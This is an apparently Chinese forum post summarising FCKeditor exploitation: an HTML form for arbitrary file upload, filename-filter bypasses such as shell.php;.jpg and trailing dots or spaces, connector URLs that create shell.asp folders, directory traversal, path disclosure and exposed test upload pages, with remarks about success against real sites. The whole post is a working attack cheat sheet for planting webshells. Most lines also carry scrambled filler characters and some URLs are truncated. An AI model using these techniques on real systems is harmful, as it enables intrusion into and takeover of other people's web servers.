Fckeditor漏洞利用总结 % V6 p9 J: H' U3 d6 e* k! g' s4 _- z
查看编辑器版本0 V. F" F" d' ~/ s3 T8 @
FCKeditor/_whatsnew.html; m9 H n' M8 Q5 Y9 V- ^: r# f. X+ E
—————————————————————————————————————————————————————————————1 H3 T/ c- y. D7 Q0 m, \. F: B( L
( \" h1 @* d# W, B8 A# G2. Version 2.2 版本! l1 f* s& U+ z* K( `- m
Apache+linux 环境下在上传文件后面加个.突破!测试通过。* b3 T5 ^+ x6 S5 C" ~
—————————————————————————————————————————————————————————————
5 r8 \! F" m" Y) Q1 R
' r4 ^4 \/ [( g. ]8 S3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
' X4 R# r- {4 m+ k9 K( ?<form id="frmUpload" enctype="multipart/form-data"& z/ q5 _7 O/ C) I; B4 \
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
y: G$ _* M7 s, g$ L1 {4 e<input type="file" name="NewFile" size="50"><br>
4 u, p( Z y# {" a7 c) C<input id="btnUpload" type="submit" value="Upload">( @1 u X+ P) ^' c/ C' _! i g
</form>
! q9 i" Q5 ~" h9 _3 E9 g—————————————————————————————————————————————————————————————
6 _& b( j& C" C D' u7 g' U( G) r9 [1 |6 u, v8 Y
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法0 x$ Y3 b) L" q' g4 `
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。. Q6 _. S/ a' G( Z
4.1:提交shell.php+空格绕过. w0 G p# i% Z" n; n" y! ]
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
9 G- X+ T2 R/ I' ] 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。6 i! D( P3 m/ h, M( V9 m& l
—————————————————————————————————————————————————————————————
0 g5 \8 {2 j& P' T2 s- u
! E* K* @% F2 o) C8 e* L2 W0 A5. 突破建立文件夹
% W2 D7 D1 @* Y" YFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=12447899756842 J8 v" O! }/ g1 t M( R" h7 @
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp4 w8 ~" U( {. v7 J, n
—————————————————————————————————————————————————————————————. m( r7 T: C1 V& m
& G1 e6 Y7 `5 P9 r% X6. FCKeditor 中test 文件的上传地址2 P* U V4 h6 N
FCKeditor/editor/filemanager/browser/default/connectors/test.html
# z7 n7 ]3 K' \& h: ~1 K dFCKeditor/editor/filemanager/upload/test.html2 Z/ P3 l9 R W3 ?+ X. P8 R. t
FCKeditor/editor/filemanager/connectors/test.html4 A3 s* t$ i9 K8 r
FCKeditor/editor/filemanager/connectors/uploadtest.html- d5 m0 v8 j7 d \8 E! _
—————————————————————————————————————————————————————————————
& ^+ Z, H& ?5 ]4 t1 s& Q
M+ d, @+ o0 J( h3 c, n0 h% I7.常用上传地址
6 B4 a8 l1 z. t* i( K: v1 {FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
, T) k; c, A4 c* K- yFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
" B4 P" Z; |$ V; I) O9 ]- g- U lFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
* k M, ~( T# j$ M4 @! ~/ H9 m ~JSP 版:- n* r7 u4 P3 N8 @" M7 l- w& L
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp) b& w$ m; z. ]9 x. i3 ~6 @
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
9 X% b0 ~1 m. s7 E- X w/ _3 r件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。% D" R% W' a) F$ l) F
—————————————————————————————————————————————————————————————
. d+ [5 z: i; Z7 c0 e. \- y* @! F
8.其他上传地址
' @( Q6 r c0 ]/ o3 DFCKeditor/_samples/default.html
- W) P. @( J' H) J1 \FCKeditor/_samples/asp/sample01.asp# e/ U3 i' X) S8 T1 y" r% ?
FCKeditor/_samples/asp/sample02.asp6 ]. F" j( V; t' I0 n
FCKeditor/_samples/asp/sample03.asp
& t6 L5 F. C$ Q0 f0 |FCKeditor/_samples/asp/sample04.asp% u' g, Z8 |6 l5 b3 U4 n) X
一般很多站点都已删除_samples 目录,可以试试。) {# W/ u0 E( A
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。; L3 t1 X O) A$ D4 _5 r
—————————————————————————————————————————————————————————————1 X1 b5 K6 d3 k+ H/ ?8 H
% t- e; o: ~$ ]2 t4 i. [5 s9.列目录漏洞也可助找上传地址
' q* U& R3 Z3 d3 [* d: sVersion 2.4.1 测试通过) ~4 Z) ~! s7 n
修改CurrentFolder 参数使用 ../../来进入不同的目录
$ R# X% @! n! L# O) T: A/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
* c% e( K% n% S0 t, B根据返回的XML 信息可以查看网站所有的目录。; |2 R- P4 ~) k0 ^* _; J( ?
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F2 H; f% K, S" D$ S! v* j, I
也可以直接浏览盘符:* }, l4 F8 j6 d
JSP 版本:
2 I; U5 J3 R( S+ V F }FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F* L; \! }5 g: x w
—————————————————————————————————————————————————————————————
$ O* y% h. U3 E3 |* g9 {; J, W6 I8 Q% T" z3 l+ F5 ^ a
10.爆路径漏洞
0 g2 |* x6 s) s1 M iFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
; q# F3 M. j7 ~8 c' K—————————————————————————————————————————————————————————————3 ?6 O" |9 T* E7 z* g+ K
4 l9 j& b& \" {11. FCKeditor 被动限制策略所导致的过滤不严问题1 y" H( _( ~: G& S3 u1 u5 V0 b
影响版本: FCKeditor x.x <= FCKeditor v2.4.3" W9 P2 g8 l/ L" k a
脆弱描述:/ i8 K9 v/ }0 F. Z9 K& r
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
/ ]0 L9 Z0 [) _6 S0 ?* Q5 c1 d! xhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
# @4 {+ V8 c# OFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!+ P; F3 G' C; `+ C. l$ G- ~
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。6 ?% L' z( ?+ N. J* Y5 ~7 r
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
8 j6 v% d, ?2 S—————————————————————————————————————————————————————————————
7 T: E: U8 H2 i. [, y
k* S7 S( Q( Z- V$ N Y& C" S8 k3 W12.最古老的漏洞,Type文件没有限制!: C# W* O$ d/ _: }1 E5 J4 @. X2 X) _ I
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! . U6 {( I# x, J& T2 u0 t
—————————————————————————————————————————————————————————————
8 t3 t, H: L1 o% r6 F I8 I$ H* B) f
===============================================================================================================================================
3 V! _& l# L8 j+ r& ^+ \( a/ `- `% _1 z
FCK编辑器jsp版本漏洞:
9 t) V) h' ?! c3 X- G; z9 Z- k# M% W4 Y* T8 E; k8 _
& {- C F; Q; h" mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F" R% l9 v) r, J& i- y
$ c/ ~" P! n. K0 m. ?8 i& y
上传马所在目录: [: v0 `$ I* `* J* X$ k
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
4 n* r6 N: A7 b9 m( \上传shell的地址:
5 C2 _* x; D8 f( a" s# {1 E$ Bhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector: J7 w6 @, M9 t% N; a8 i2 ^& E$ X
跟版本有关系.并不是百分百成功. 测试成功几个站.4 [6 b; _/ R, \
不能通杀.很遗憾.
# T& `6 \2 E& J) ihttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector5 n& ~% {6 N' R1 }) V9 k
如果以上地址不行可以试试2 c7 Q0 ~8 f0 N% p: } @' j# C
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
, c- C/ N3 \/ K$ B. MFCKeditor/_samples/" ]- A, [3 X* r6 I9 D# m
FCKeditor/_samples/default.html& H9 C/ |; c, A+ J5 p& X, w- p( g0 ^. u
FCKeditor/editor/fckeditor.htm
- l1 i% M% `7 U+ aFCKeditor/editor/fckdialog.html. t. ?$ }* k6 v' T: U9 z s
/ @, V' t8 X0 I. ~9 Q: e7 h9 X, n
" Z0 X" e6 }* ?/ N }
2 C+ ] Z9 k4 j, N
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
. m C8 V' Q/ Z& C3 o, ?2 I |